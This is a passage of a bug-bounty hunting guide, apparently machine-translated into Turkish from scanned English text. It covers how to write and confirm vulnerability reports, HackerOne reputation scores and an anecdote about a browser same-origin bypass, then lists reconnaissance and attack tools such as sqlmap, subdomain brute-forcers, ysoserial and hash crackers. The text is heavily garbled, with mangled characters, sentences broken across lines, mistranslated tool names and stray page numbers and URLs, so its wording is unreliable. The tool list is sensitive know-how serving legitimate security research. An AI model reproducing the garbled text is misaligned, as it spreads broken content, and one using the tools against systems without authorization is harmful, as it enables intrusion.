Boylece giin sonunda geldi ve ilk kirilganligii buldun. Oncelikle tebrik ederim.
doniisiime kazandirilmali! Cidden, giivenlik agiklarini bulmak kolay degildir, ancak cesaret kirmaktir.

flk tavsiyem rahatlamak, heyecanlanmaktan kaginmak. Olma hissini biliyorum

Bir rapor sunma konusunda ¢ok memnun ve

giivenlik a¢181 olmadigini ve sirketin itibariniz zedeleyecek olan raporu kapattigini sdyledi
raporlama platformunda.

Bundan kaginmana yardim etmek istiyorum. Yani ilk sey ilk.
Aciklama talimatlarimi okuyun.

Hem HackerOne hem de Bugcrowd’da, katilan her sirket kapsam iginde ve diginda

program i¢in kapsam alanlar1. Insallah 6nce onlar1 okudun, béylece zamanini bosa harcamadin.
Ama sen yapmadiysan, simdi oku. Buldugunlarin bilinmedigi ve disinda olmadigindan emin ol.
onlarin programi.

Iste gegmisimden ac1 verici bir 6rnek: i1k buldugum giivenlik agig1 Shopify’dayd.
hatali bigimlendirilmis HTML'yi metin diizenleyicisine gonderirseniz, ¢6ziimleyicileri onu diizeltir ve saklar
XSS. Heyecanli degildim. Avlarim para ddiiyordu. Raporumu génderemedim

yeterince hizl1.

Sevindim, gonder diigmesine tikladim ve 500 dolarlik liitfemi bekledim. Bunun yerine, kibarca bana soyledi
Bilinen bir giivenlik agig1yd1 ve arastirmacilardan géndermemelerini istedi. Bilet

kapattim ve 5 puan kaybettim. Bir delikte siiriinmek istedim. Zor bir dersti.

Hatalarimdan &grenin, KILAVUZLARI OKUYUN!
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Ayrintilar: Dahil Et. Ardindan Daha Fazla Dahil Et.

Raporunuzun ciddiye alinmasini istiyorsaniz, agagidakileri igeren ayrintili bir rapor verin.

en azindan:

» URL’yi ve giivenlik agigin1 bulmak i¢in kullanilan etkilenen parametreleri
* Tarayici, isletim sistemi (varsa) ve / veya uygulama sliriimiiniin agiklamasi
* Algilanan etkinin agiklamasi. Bdcek potansiyel olarak nasil somiiriilebilir?

* Hatay1 yeniden olusturma adimlart

Giivenlik ag1g1 raporlart

Bu kriterler Yahoo dahil, Hackerone’daki belli basl sirketler tarafindan yaygindi.

Twitter, Dropbox, vb. Daha ileri gitmek istiyorsaniz, ekran goriintiisii eklemenizi neririm

veya kavramin bir video kanit1 (POC). Her ikisi de sirketler i¢in ¢ok faydalidir ve yardimer olacaktir.
onlar giivenlik agigini anlar.

Bu asamada, site i¢in ¢ikarimlarin ne oldugunu da diisiinmeniz gerekir. I¢in
Ornegin, Twitter’da depolanan bir XSS’nin
¢ok fazla kullanici sayisi ve aralarindaki etkilesim. Nispeten, sinirli bir site

kullanicilar arasindaki etkilesim, bu giivenlik a¢i1gin1 ciddi olarak gérmeyebilir. Buna karsilik, bir gizlilik

PornHub gibi hassas bir web sitesinde sizint1 Twitter'dan daha 6nemli olabilir,
¢ogu kullanici bilgisi zaten herkese agik (ve daha utang verici?).

Giivenlik acigin1 onaylayin

Kurallart okudunuz, raporunuzu hazirladiniz, ekran goriintiileri eklediniz. almak

bir saniye ve bildirdigin seyin aslinda bir giivenlik a¢ig1 oldugundan emin ol.

Ornegin, bir sirketin bir CSRF belirteci kullanmadiklarini bildiriyorsaniz
basliklar, gegirilen parametrelerin bir belirteg igerip icermedigini kontrol ettiniz mi?
CSREF belirteci gibi davraniyor ancak ayni etikete sahip degil mi?

Daha dnce giivenlik agigin1 onayladiginizdan emin olmak i¢in sizi tegvik edemem
raporu gonderdin. Kayda deger bir sey buldugunu diisiinmek oldukga biiyiik olabilir.
giivenlik agi1g1 yalnizca testleriniz sirasinda bir seyi yanlis yorumladiginizi farketmenizi saglar.

Kendinize bir iyilik yapin, bir dakikaniz1 ayirm ve oniiniizdeki giivenlik a¢igin1 onaylayin
teslim et.

Sirkete Sayg1 Goster

HackerOne'un sirket olusturma siirecinde yapilan testlere dayanarak (evet, olarak test edebilirsiniz.
bir aragtirmaci), bir sirket yeni bir hata 6diil programi baslattiginda,

raporlarla doludur. Gonderdikten sonra, girkete inceleme firsatt verin

Raporunuzu ve size geri almak.

Baz girketler zaman ¢izelgelerini lituf kurallarina eklerken, bazilari degildir.
Heyecanimzi is yiikleriyle dengeleyin. Birlikte yaptigim konusmalara dayanarak
HackerOne destegi, bir sirketten haber almadiysaniz takip etmenize yardimei olur
en az iki hafta

194
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Bu rotaP/a gitmeden Once, raporda kibar bir mesaj olup olmadigini sorun._
Guncelleme. Cogu zaman sirketler cevap verir vé durumu size bildirir. Eger yapmazlarsa

Onlara biraz zaman verin ve sorunu tirmanmadan &nce tekrar deneyin. Ote yandan, eger

Giivenlik ag181 raporlari

sirket bu giivenlik ac181in1 onayladi, diizeltmeyi onaylamak i¢in onlarla birlikte ¢alisin
yapilir.

Bu kitab1 yazarken, yeni bir iiye olan Adam Bacchus ile sohbet edebilecek kadar sansli oldum.

Bas Odiil Memuru unvanina sahip olan May1s 2016’dan itibaren HackerOne ekibinin
Konugmalarimiz gergekten gozlerimi bocek ddiillerinin diger tarafina agti. Biraz

arkaplan Adam, Snapchat ile giivenligi arttirmak icin galistig1 deneyime sahip.

tizerinde galistig1 yazilim miihendisligi ekipleri ve Google’mn bulundugu ekip

Giivenlik A¢1g1 Yénetim Ekibi ve Google Giivenlik Acig1 Odiiliiniin galistirilmasina yardimei oldu

Programi.

Adam, tetikgilerin yagadigi bir siirli sorun oldugunu anlamama yardimeci oldu.

asagidakiler de dahil olmak iizere bir &diil programi yiiriitmek:

* Giiriiltii : Maalesef, hata 6diil programlari her ikisi de ¢ok sayida gegersiz rapor aliyor
HackerOne ve BugCrowd bu konuda yazmaislar. Biliyorum kesinlikle ...
kabarik ve umarim bu kitap, yayinlanmasindan kaginmaniza yardimei olur

sizin ve 6diil programlarinin masraflarini ve zamanini bildirir.

+ Onceliklendirme : Odiil programlari, giivenlik agigma dncelik vermenin bir yolunu bulmak zorunda

1slah1. Benzerleri olan birden fazla giivenlik agigmiz varsa, bu zor
etkisi ancak stirekli gelen raporlarla bir araya geldiginde, 6diil programi karsisinda
ayakta tutan ciddi zorluklar.
* Onaylar : Bir raporu baslatirken, hatalarin dogrulanmasi gerekir. Yine, bu alir
saati. Bu nedenle bilgisayar korsanlarinin acik talimatlar vermesi ve
ne buldugumuz, nasil ¢ogaltacagimiz ve neden 6nemli oldugu hakkinda agiklama.
Bir video saglamak sadece kesmiyor.
» Kaynak Bulma : Her sirket tam zamanli ¢alisan1 ¢alismaya adamaya adamaz
bir 6diil programi. Bazi programlar tek bir kiginin yanit verdigi i¢in sansli.
Digerlerinin personeli zamanlarini ayirirken raporlar. Sonug olarak, sirketler
insanlarin aldiklart programlari dondiiriir ve raporlara yanit verir. Herhangi bir bilgi
Gerekli bilgilerin saglanmasindaki bosluklar veya gecikmeler ciddi bir etkiye sahiptir.
* Diizeltmeyi yazmak : Kodlama, 6zellikle tam bir gelisim yasam dongiisii varsa, zaman alir.
hata ayiklama, regresyon testleri yazma, yerlestirme dagitimlari ve son olarak
iretime itmek. Peki ya gelistiriciler altinda yatan sebebi bile bilmiyorsa
giivenlik a¢181? Tiim bunlar, bilgisayar korsanlari, sabirsiz ve istekliyken zaman alir.
Odenecek. Agik iletigim hatlar1 anahtar ve tekrar, burada ihtiyag
herkesin birbirine saygili olmast i¢in.
+ Iligki yonetimi : Bocek 6diil programlari, bilgisayar korsanlarimin geri gelmesini istiyor.
HackerOne, kirilganligin etkisinin bilgisayar korsanlar1 olarak nasil bilyiidiigiini yazdi.

tek bir programa daha fazla hata gonderin. Sonug olarak, ddiil programlarinin bulunmasi gerekir.

Bu iliskileri gelistirerek dengeyi kurmanin bir yolu.

+ Basinla iliskiler : Bir hatanin gozden kacabilmesi i¢in her zaman baski vardir;
¢oziilmek igin uzun, ya da bir 6diil ¢ok diisiik olarak algilanir ve bilgisayar korsanlar1 alacak
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Twitter ya da medyaya. Yine, bu durum tetikleyicilere agirlik verir ve bunlarin nasil etkilendigine etki eder.
iligkiler gelistirmek ve bilgisayar korsanlartyla ¢aligmak.

Tiim bunlar1 okuduktan sonra amacim bu siireci insancillagtirmaya yardimei olmak. Deneyimlerim oldu
tayfin her iki ucunda, iyi ve kotii. Ancak, giiniin sonunda, bilgisayar korsanlari

programlar birlikte ¢alisacak ve zorluklar1 anlayabilecek

Her birinin karsilastigi durum, sonuglarin iyilestirilmesine yardimei olacaktir.

Ikramiyeleri

Odiil kazanan bir sirkete giivenlik ac1g1 gonderdiyseniz, kararlarina saygi gosterin
O6deme tutarinda.

Jobert Abma'ya (HackerOne'nin Kurucu C~ag1) Quora'ya Gore Nasil Olurum
Basarili Hata Odiil Aveisi?: :

Alnan bir miktara katilmiyorsaniz, neden buna inandiginiza dair bir tartisma yapin.
daha yiiksek bir 6diilii hak ediyor. Bagka bir 6diil istedigin durumlardan kagin
neden buna inandigin1 agiklayamadan. Buna karsilik bir sirket gostermeli

zamaniniza ve degerinize saygi gosterin.

Golet gecmeden once Merhaba bagirmak yok

17 Mart 2016'da Mathias Karlsson potansiyel olarak harika bir blog yazis1 yazdi

Ayni Mense Ilkesi (SOP) bypass'1 bulma (ayn1 mense politikasi

web tarayicilarinin komut dosyalariin web sitelerinden igerige erismesine nasil izin verdigini tanimlayin)
igerigin bir kismini buraya eklememe izin verecek kadar. Bir kenara, Mathias bir harika

HackerOne rekoru - 28 Mart 2016 itibariyle, Signal’de yiizde 97’de,

HackerOne, Uber, Yahoo, CloudFlare gibi sirketleri igeren 109 bocek bulundu

vb.

Bu yiizden, “Géleti gegmeden merhaba diye bagirmaymn” demek Isvecce anlamma gelir
Kesin olarak kesin olana kadar kutlamamalisin. Muhtemelen neden oldugumu tahmin edebilirsin

Bu dahil - hack tiim giines 15181 ve gokkusag degildir.

Mathias'e gore, Firefox ile oynuyordu ve tarayicinin ¢alisacagini fark etti.
hatal1 bigimlendirilmis ana bilgisayar adlarim kabul etti (OSX’te), bu nedenle http://example.com ..
ple.com ancak ana bilgisayar bagliginda example.com .. génderin. Daha sonra http://example.com evil.com adresini denedi.

ve ayni sonucu aldim.


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter
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Flash'in tedavi edecegi i¢in bu SOP'nin atlanabilecegini aninda biliyordu.
http: //example.com..evil.com, * .evil.com etki alan1 altinda oldugu gibi. O kontrol etti
Alexa en iyi 10000’1 buldu ve Yahoo.com dahil sitelerin% 7’sinin somiiriilebilir olacagini tespit etti.

Bir yaz1 yazdi ama biraz daha dogrulayici yapmaya karar verdi. Bir es ile kontrol etti -
is¢i, evet, onlarin Sanal Makinesi de hatay1 dogruladi. Firefox, yup, bug giincellendi
hala oradaydi. Daha sonra Twitter hakkinda bulgu hakkinda ima etti. Ona gore, Bug =
Dogruland: degil mi?

Hayir! Yaptig1 hata, isletim sistemini en yenisine glincellememesiydi.
stirlimii. Bunu yaptiktan sonra bocek 6lmiistii. Gorliniige gore bu alt1 ay 6nce bildirildi
ve OSX Yosemite 10.10.5’¢ glincelleme sorunu ¢ozdii.

Bunu, biiyiik bilgisayar korsanlarinin bile yanlig anlayabilecegini ve bunun 6nemli oldugunu gostermek i¢in ekledim.

bildirmeden 6nce bir hatanin sémiiriilmesini onaylayin.

Bunu eklememe izin verdigi i¢cin Mathias'e tegsekkiir ederim - Twitter’a gz atmanizi dneririm

Mathias @ bu konuda yazd: @ avlidienbrunn ve labs.detectify.com besleyin.
Ayrilik Kelimeler

Umarim bu boliim size yardimci olmustur ve daha 6ldiiriicii bir rapor yazmaya hazirsiniz.
Gondermeye baslamadan 6nce, bir dakikanizi ayirin ve raporu gergekten diisiiniin - eger Oyleyse
kamuya ac¢ikladiysaniz ve okudum, gurur duyar misiniz?

Gonderdiginiz her sey, geride durmaya ve hakli gdstermeye hazir olmalisiniz.

sirket, diger bilgisayar korsanlar1 ve kendin. Bunu seni korkutmak i¢in sdylemiyorum ama kelimeler olarak
Tavsiye ben keske baslangi¢ olsaydi. Basladigimda kesinlikle siipheli gonderdim

raporlar ¢linkii sadece tahtada olmak ve yardimci olmak istedim. Ancak, sirketler

bombardiman olsun. Tamamen tekrarlanabilir bir giivenlik hatast bulmak ve bildirmek daha yararlidir
Agikea.

Gergekten kimin umursadigini merak ediyor olabilirsiniz - sirketlerin bu ¢agriy1 yapmasina ve kimin umrunda olmasina izin verin.
diger bilgisayar korsanlarimnin ne diisiindiigii. Yeterince adil. Ama en azindan HackerOne’da raporlariniz dnemlidir -
istatistikleriniz izlenir ve gecerli bir raporunuz oldugunda, aleyhinize kaydedilir.

Sinyal, raporlarinizin degerinin ortalamasi olan -10 ila 7 arasinda degisen bir stat:

» Spam gonder, sen -10 olsun
* Uygulanamaz olan1 génder, -5
* Bir bilgilendirme gonderin, 0 olsun

* Cozililmiis bir rapor génderin, 7

Yine, kimin umrunda? Signal, simdi kimin Ozel'e davet edildigini belirlemek igin kullamliyor.

programlar ve kamuya agik programlara rapor gonderebilir. Ozel programlar genellikle

Giivenlik ag131 raporlari 198

bilgisayar korsanlari i¢in taze et - bunlar sadece bocek ddiiliine giren siteler.
program ve sitelerini sinirli sayida korsanlara agiyor. Bu, potansiyel demektir
daha az rekabete agik giivenlik agiklari.

Diger sirketlere raporlama gelince - deneyimimi bir uyar1 hikayesi olarak kullanin.



Ozel bir programa davet edildim ve bir giin iginde sekiz 1%ﬁvenlik ,aﬁl,gl buldum.
Ancak, o gece, baska bir programa bir rapor sundum ve N/ A verildi.

Bu benim sinyalimi 0,96'ya carpt1. Ertesi giin 6zel sirkete rapor vermeye gittim
yine bir bildirim aldim - Sinyalim ¢ok disiiktii ve 30 giin beklemek zorunda kaldim

onlara ve 1.0 Sinyal gereksinimi olan herhangi bir diger sirketlere.

Bu berbat! Bu siire zarfinda buldugum giivenlik agiklarmi baska kimse bulamazken,
bana mal olacakti. Her giin rapor edip edemedigimi kontrol ettim.

tekrar. O zamandan beri, Sinyalimi iyilestirmeye yemin ettim ve siz de yapmalisiniz!

Iyi sanslar aveihk!
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23. Araclar

Asagida, giivenlik agig1 avciligl icin yararli olan ve higbir sekilde kullanilmayan ¢amagirhane listesi bulunmaktadir.
siparis. Bazilar1 giivenlik agiklar1 arama islemini otomatik hale getirirken, bunlar
el isi, keskin gozlem ve sezgisel diigiincenin yerine gegmez.

Hackerone'un Kurucu Ortagi olan Michiel Prins, katkida bulunmaya yardimci oldugu i¢in ¢ok tesekkiir ediyor
Listeye ve araglarin etkili bir sekilde nasil kullanilacagina dair tavsiyeler sunmak.
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Burp Siiiti

https://portswigger.net/burp

Burp Suite, glivenlik testi i¢in entegre bir platformdur ve hemen hemen bir zorunluluktur.
Basliyorsun. Asagidakiler dahil faydali olabilecek gesitli araclara sahiptir:

* Bir siteye gelen trafigi denetlemenize ve degistirmenize olanak saglayan bir ara proxy sunucusu
« Igerigi ve islevselligi taramak igin Spider't tantyan bir uygulama (ya pasif
veya aktif olarak)
* Giivenlik agiklarinin algilanmasini otomatiklestirmek i¢in bir web tarayici
* Bireysel talepleri yonetmek ve tekrar gondermek icin bir tekrarlayici
* Belirteglerin rastgeleligini test etmek i¢in bir siralayici araci

» Istekleri ve cevaplar karsilastirmak icin bir karsilastirma araci

New Boston’lu Bucky Roberts’in Burp Suite’te
Burp Suite'e giris saglayan https://vimeo.com/album/3510171.

ZAP Proxy

https://www.owasp.org/index.php/OWASP Zed Attack Proxy Project

OWASP Zed Attack Proxy (ZAP) iicretsiz, topluluk tabanli, agik kaynakl: bir platformdur.
giivenlik testi i¢in Burp'a benzer. Ayrica bir Proxy dahil olmak {izere gesitli araglara sahiptir,
Tekrarlayici, Tarayict, Dizin / Dosya Bruteforcer, vb. Ayrica eklentileri de destekler.

bir gelistirici, ek islevler olusturabilirsiniz. Web siteleri ¢ok yararli

Baslamaniza yardimci olacak bilgiler.
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Knockpy

https://github.com/guelfoweb/knock

Knockpy alt tanimlamak igin bityiik bir kelime listesi lizerinde yineleme yapmak i¢in tasarlanmis bir python aracidir
bir sirketin etki alanlari. Alt etki alanlarini belirlemek, test edilebilir yiizeyin artmasina yardimei olur

bir sirketin ve basarili bir giivenlik a¢i1g1 bulma sansini artirm.

Bu bir GitHub deposudur, bu da repoyu indirmeniz gerekecegi anlamina gelir (GitHub
sayfanin nasil yapildigina dair talimatlar vardir ve Python'un kurulu olmasi gerekir (versiyonlart ile test edilmislerdir)
2.7.6 ve Google DNS kullanmanizi dneririz (8.8.8.8 | 8.8.4.4).

HostileSubBruteforcer

https://github.com/nahamsec/HostileSubBruteforcer

@Nahamsec (Ben Sadeghipour - harika adam!) Tarafindan yazilan bu uygulama, i¢in bruteforce olacak
varolan alt etki alanlarini girin ve IP adresini saglayin, Ana Bilgisayar ve dogru olup olmadigini
kurulum, AWS, Github, Heroku, Shopify, Tumblr ve Squarespace kontrol edin. Bu harika
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alt etki alan1 devralmalarini bulma.

Sublist3r

https://github.com/aboul3la/Sublist3r

README.md dosyasina gore, Sublist3r, alt numaralandirmak i¢in tasarlanmis bir python aracidir.

arama motorlarini kullanan web sitelerinin alanlar1. Penetrasyon test cihazlara ve bdcek avcilarina yardimer olur.
hedefledikleri alan igin alt alan adlarini toplayin ve toplaym. Su anda Sublist3r

asagidaki arama motorlarini destekler: Google, Yahoo, Bing, Baidu ve Ask. Daha fazla arama

gelecekte motor eklenebilir. Sublist3r ayrica Netcraft't kullanarak alt etki alanlarini toplar,

Virustotal, ThreatCrowd, DNSdumpster ve PassiveDNS.

Subbrute araci bulma olasiligini artirmak i¢in Sublist3r ile biitiinlestirilmistir.
Geligmis bir kelime listesi ile bruteforce kullanan daha fazla alt alan. Kredi gider

Subbrute'un yazar1 TheRook.

crt.sh

https://crt.sh

Sertifika Islemi giinliiklerine goz atmak icin bir arama sitesi, iliskili alt etki alanlar1 ortaya ¢ikiyor
sertifikalari ile.
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IPVd4info.com

http://ipv4info.com

Philippe Harewood sayesinde tekrar 6grendigim harika bir site. kullanma

Bu sitede, belirli bir sunucuda barmdirilan alanlar bulabilirsiniz. Yani, 6rnegin, girerek
yahoo.com size Yahoo'nun IP araligini ve aym alan adinda sunulan tiim alanlar1 verecektir.
Sunucular.

SecLists

https://github.com/danielmiessler/SecLists

Teknik olarak bagli bagina bir ara¢ olmasa da, SecLists birden fazla tiirden olusan bir koleksiyondur.
Hack sirasinda kullanilan listeleri Bu, kullanici adlarmi, sifreleri, URL'leri, 6zet dizelerini igerir,
ortak dizinler / dosyalar / alt alanlar vb. Proje Daniel Miessler tarafindan saglanmaktadir.

ve Jason Haddix (ProTips # 5 misafir Hacking)

XSSHunter

https://xsshunter.com

XSSHunter, Matt Bryant tarafindan gelistirilen bir aragtiri (eskic n Uber giivenlik ekibi)
bu da, ne olursa olsun ates goremediginiz kér XSS aciklarini veya XSS'yi bulmaniza yardimer olur.
sebep. XSSHunter'a kaydolduktan sonra, size 6zel bir xss.ht kisa alan ad1 verilir.


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://twitter.com/iammandatory

XSS'izi tanimlar ve yiikiiniizi barindirir. XSS patladiginda otomatik olarak
nerede gergeklestigi hakkinda bilgi toplar ve size bir e-posta bildirimi génderir.

sqlmap

http://sqlmap.org

sqlmap, algilama islemini otomatiklestiren agik kaynakli bir penetrasyon aracidur.
SQL enjeksiyon agiklarindan yararlanma. Web sitesi de dahil olmak tizere ¢ok ¢esitli 6zelliklere sahiptir.
icin destek:

* Cok cesitli veritabani tiirleri (6rnegin, MySQL, Oracle, PostgreSQL, MS SQL Server,
vb.)

1 . .
https:/twitter.com/iammandatory
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» Alt1 SQL enjeksiyon teknigi (6rnegin, boole bazli kér, zaman bazli kor, hata-
tabanli, UNION sorgu tabanli, vb.)

* Kullanicilari, parola karmasasini, ayricaliklari, rolleri, veritabanlarini, tablolari ve
stitunlar

* Ve daha fazlasi

Michiel Prins’a gore sqlmap, SQL’in kullanimini otomatiklestirmede yardimei oluyor

bir seyleri ispatlamak i¢in yapilan enjeksiyon agiklari savunmasizdir, bu da ¢ok sayida el ¢aligmasini 6nler.

Knockpy'ye benzer sekilde sqlmap Python'a dayanir ve Windows veya Unix tabanli olarak c¢alistirilabilir.
sistemleri.

Nmap

https://nmap.org

Nmap, ag kesfi ve giivenlik denetimi i¢in {icretsiz ve agik kaynakli bir yardimci programdir.
Sitelerine gore, Nmap, belirlemek i¢in yeni yontemlerle ham IP paketlerini kullanir: - Hangisi
bir agda ana bilgisayarlar var - Hangi servisleri (uygulama ad1 ve siiriimii)

ana bilgisayarlar sunuyor - Hangi isletim sistemlerini (ve sliriimlerini) ¢aligtirtyorlar - Hangi tiir
Paket filtrelerin / glivenlik duvarlarinin kullanimda - Ve ¢ok daha fazlasi

Nmap sitesi, Windows, Mac ve
Linux.

gorgii tamigi

https://github.com/ChrisTruncer/EyeWitness

EyeWitness, web sitelerinin ekran goriintiilerini almak, bazi sunucu baglik bilgileri saglamak i¢in tasarlanmustir.
ve miimkiinse varsayilan kimlik bilgilerini belirleyin. Hangi hizmetleri tespit etmek i¢in harika bir aragtir
Ortak HTTP ve HTTPS baglanti1 noktalarinda ¢alisiyor ve diger araglarla birlikte kullanilabilir.


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://twitter.com/iammandatory
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Nmap, bilgisayar korsanlig1 hedeflerini hizla numaralandirmak igin.

Shodan

https://www.shodan.io

Shodan, “Seyler” in internet arama motorudur. Siteye gore, “Kullan
Hangi cihazlarmizin internete bagli oldugunu, nerede olduklarmi kesfetmek i¢in Shodan
bulundugu ve onlar1 kim kullaniyor ”. Bu, 6zellikle kesfetmek istediginizde yararlidir.

Potansiyel hedef ve hedef altyap1 hakkinda miimkiin oldugunca ¢ok sey 6grenmeye ¢aligmak.

Araglar

Bununla birlestiginde Shodan igin hizli bir gekilde izin veren kullanish bir Firefox eklentisi
belirli bir etki alan1 i¢in erigim bilgilerine Bazen bu mevcut limanlari ortaya ¢ikarir.
Nmap'a gecebilirsin.

Censys

https://censys.io

Censys, arastirmacilarin ev sahipleri hakkinda sorular sormalarini saglayan bir arama motorudur.
Interneti olusturan aglar. Censys ana bilgisayarlar ve web siteleri {izerinden veri toplar.
IPV4 adres alaninin giinlik ZMap ve ZGrab taramalari, ardindan bir veritabaninin bakimi

Ana bilgisayarlarin ve web sitelerinin nasil yapilandirildigina
Hangi IYS

http://www.whatcms.org

Hangi CMS, bir sitenin URL'sini girmenize izin veren basit bir uygulamadir ve geri donecektir.
Sitenin kullandig1 muhtemel Igerik Yonetim Sistemi. Bu birkag nedenden dolayi yararlidir:

» Bir sitenin hangi [YS'yi kullandigin bilmek, site kodunun nasil oldugu hakkinda fikir verir.
yapilandirilmig

» CMS agik kaynakliysa, giivenlik agiklart ve test kodlaria goz atabilirsiniz.
sitede onlar1

* CMS'nin siiriim kodunu belirleyebilirseniz, site olabilir

eski ve acik giivenlik agiklarina karst savunmasiz
BuiltWith

http://builtwith.com

BuiltWith, kullanilan farkli teknolojileri parmak izi izlemenize yardimci olacak ilging bir aragtir
belirli bir hedefe. Sitesine gore 18.000'in lizerinde internet tiirli kapstyor.
analitik, barindirma, hangi CMS vb

Nikto

203



https://cirt.net/nikto2
Nikto birden fazla sunucuya karsi test eden bir A¢ik Kaynak web sunucusu tarayicisidir.

dahil Griinler:

Sayfa 216

Araglar 204

* Potansiyel olarak tehlikeli dosyalar / programlar
Sunucularin eski siirtimleri
* Versiyona 6zgii problemler

* Sunucu yapilandirma 6gelerini kontrol etme

Michiel’e gore, Nikto olmamalidir dosyalar1 veya dizinleri bulmakta yardime1 oluyor
kullanlabilir (6rnegin, eski bir SQL yedekleme dosyas1 veya git repo igi)

Recon ng

https://bitbucket.org/LaNMaSteR53/recon-ng

Sayfasina gore, Recon-ng tam 6zellikli bir Web Kesif ¢ergevesidir
Python ile yazilmis. A¢ik kaynakli web tabanli gii¢lii bir ortam saglar.
kesif hizli ve ayritili bir sekilde yapilabilir.

Recon-ng, ne yazik ki, nasil bakmak istediginize bagl olarak

Burada yeterince agiklayamayacagim ¢ok fazla islev. Alt i¢in kullanilabilir

etki alan1 bulma, hassas dosya bulma, kullanici adi numaralandirma, sosyal medyay1 kazima
siteler vb

GitRob

https://github.com/michenriksen/gitrob

Gitrob, kuruluslara ve giivenlik uzmanlarina yardimei olabilecek bir komut satir1 aracidir.
GitHub’da halka ag¢ik dosyalarda kalan hassas bilgileri bulun. Araci olacak
Tiim kamu kuruluslar1 ve liye depolar1 tizerinde durun ve bunlara karsi dosya isimlerini eglestirin

genellikle hassas veya tehlikeli bilgiler i¢eren dosyalar i¢in ¢esitli modeller.

CyberChef

https://gchq.github.io/CyberChef/

CyberChef, her tiirlii kodlama / kod ¢ézme aletini saglayan Isvigre ¢akisidir. O da
digerlerinin yani sira sik kullanilanlarin bir listesini kaydetmek, sonuglari indirmek igin iglevsellik saglar
bir seyler.
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OnlineHashCrack.com

www.onlinehashcrack.com

Cevrimigi Hash Crack, sifrelerinizi kurtarmaya ¢alisan ¢evrimigi bir servistir (karma

MDS5, NTLM, Wordpress, vb.), WPA dokiimleriniz (el sikismalarimiz) ve MS Ofisiniz gibi

sifreli dosyalar (yasal olarak elde edilir). Ne tiir bir karma kullanimin kullanildigini belirlemeye yardimci olmakta fayda var.
Bilmiyorsunuz, 250'den fazla karma tiiriiniin tanimlanmasini destekliyoruz.

idb

http://www.idbtool.com

idb, i10S uygulamasi giivenlik degerlendirmeleri i¢in bazi1 genel gorevleri basitlestirmeye yardimci olan bir aragtir ve
Arastirma. GitHub'da barindiriliyor.

Wireshark

https://www.wireshark.org

Wireshark, bilgisayarinizda neler olup bittigini gormenizi saglayan bir ag protokolii analizoriidiir.
ayrintili olarak ag. Bu, bir site yalnizca iletisim kurmuyorsa daha kullanighdir.

HTTP / HTTPS. Bashyorsaniz, Burp Suite’e bagli kalmak daha yararli olabilir.

site sadece HTTP / HTTPS lizerinden iletisim kuruyor.

Kova Bulucu

https://digi.ninja/files/bucket finder 1.1.tar.bz2

Okunabilen kovalar1 arayacak ve igindeki tiim dosyalari listeleyecek havali bir arag. Yapabilir
ayrica hizlica var olan kovalari bulmak i¢in kullanilir ancak listeleme dosyalarina erigimi reddeder.
kepgeleri, AWS CLI’yi kullanarak yazmayz test edebilirsiniz ve

Kimlik Dogrulama Béliimii - HackerOne S3 Kovalarini nasil hackledim.

Web’de yaris

https://github.com/insp3ctre/race-the-web

Web uygulamalarinda yaris kosullarini test eden ve bir kullanict géndererek daha yeni bir arag
bir hedef URL’ye (veya URL’lere) ayn1 anda belirtilen sayida istek ve ardindan

Sunucudan gelen yanitlar1 benzersiz olup olmadigini ayristirir. Bir dizi konfigiirasyon igerir
segenekler.
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Google Dorks

https://www.exploit-db.com/google-hacking-database

Google Dorking, bilgi bulmak i¢in Google tarafindan saglanan gelismis sdzdizimlerini kullanma anlamina gelir.
hazir degil. Bu, giivenlik a¢1g1 bulunan dosyalarin bulunmasini, harici firsatlarin bulunmasini igerebilir
kaynak yiikleme, vb.

JD GUI

https://github.com/java-decompiler/jd-gui

JD-GUI, Android uygulamalarini kesfederken yardimei olabilecek bir aragtir. Bu bagimsiz bir grafiksel
CLASS dosyalarindan Java kaynaklarini gériintiileyen bir yardimei programdir. Cok fazla tecrilbem yokken

Bu aragla (heniiz) umut verici ve faydal goriiniiyor.

Mobil Giivenlik Cercevesi

https://github.com/ajinabraham/Mobile-Security-Framework-MobSF

Bu, mobil bilgisayar korsanlig1 i¢in yararli bir bagka aractir. Akilli, hepsi bir arada bir agik kaynak
mobil uygulama (Android / i0S) yapabilen otomatik kalem testi ¢ercevesi
statik, dinamik analiz ve web API testi yapmak.

Ysoserial

https://github.com/frohoff/ysoserial

Giivensiz Java nesnesinden yararlanan yiikleri olusturmak i¢in kavram kanit1 aract.

lestirilmesi

Firefox Eklentileri

Bu liste biiyiik 6l¢lide burada bulunan Infosecinstitute'tan génderilen gdnderiden kaynaklanmaktadir: Infosecln-

teskil ettigini kabul ederekz
FoxyProxy

FoxyProxy, Firefox tarayicisi i¢in gelismis bir proxy yonetimi eklentisidir. Gelistirir

Firefox'un yerlesik proxy yetenekleri.

2 . .
resources.infosecinstitute.com/use-firefox-browser-as-a-penetration-testing-tool-with-these-add-ons
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Kullanic1 Aracisi Degistirici

Tarayictya bir menii ve arag gubugu diigmesi ekler. Ne zaman kullanic1 degistirmek istersen
ajan, tarayici diigmesini kullanin. Kullanic1 Ajan eklentisi, tarayiciy1 sahtecilikte yardimcei olur

baz1 saldirilar gerceklestiriliyor.



kundakg¢1

Firebug, bir web gelistirme aracini tarayicinin igine entegre eden hos bir eklentidir. ile
Bu arag, HTML, CSS ve JavaScript’leri herhangi bir web sayfasinda canli olarak diizenleyebilir ve hata ayiklayabilirsiniz.
degisikliklerin etkisi. XSS ag¢iklarmi bulmak i¢in JS dosyalarinin analizinde yardimei olur.

Hackbar

Hackbar, Firefox i¢in basit bir penetrasyon aracidir. Basit SQL enjeksiyonunun test edilmesine yardimc1 olur
ve XSS delikleri. Standart istismarlar1 uygulayamazsiniz ama test etmek igin kolayca kullanabilirsiniz.
giivenlik a¢i1g1 olup olmadig1. Ayrica form verilerini GET veya

POST istekleri.

Websecurify

Web Giivenligi, web uygulamalarindaki en yaygin giivenlik agiklarini tespit edebilir. Bu arag olabilir

XSS, SQL Injection ve diger web uygulama giivenlik agiklarini kolayca tespit edin.

Cerez Yoneticisi +

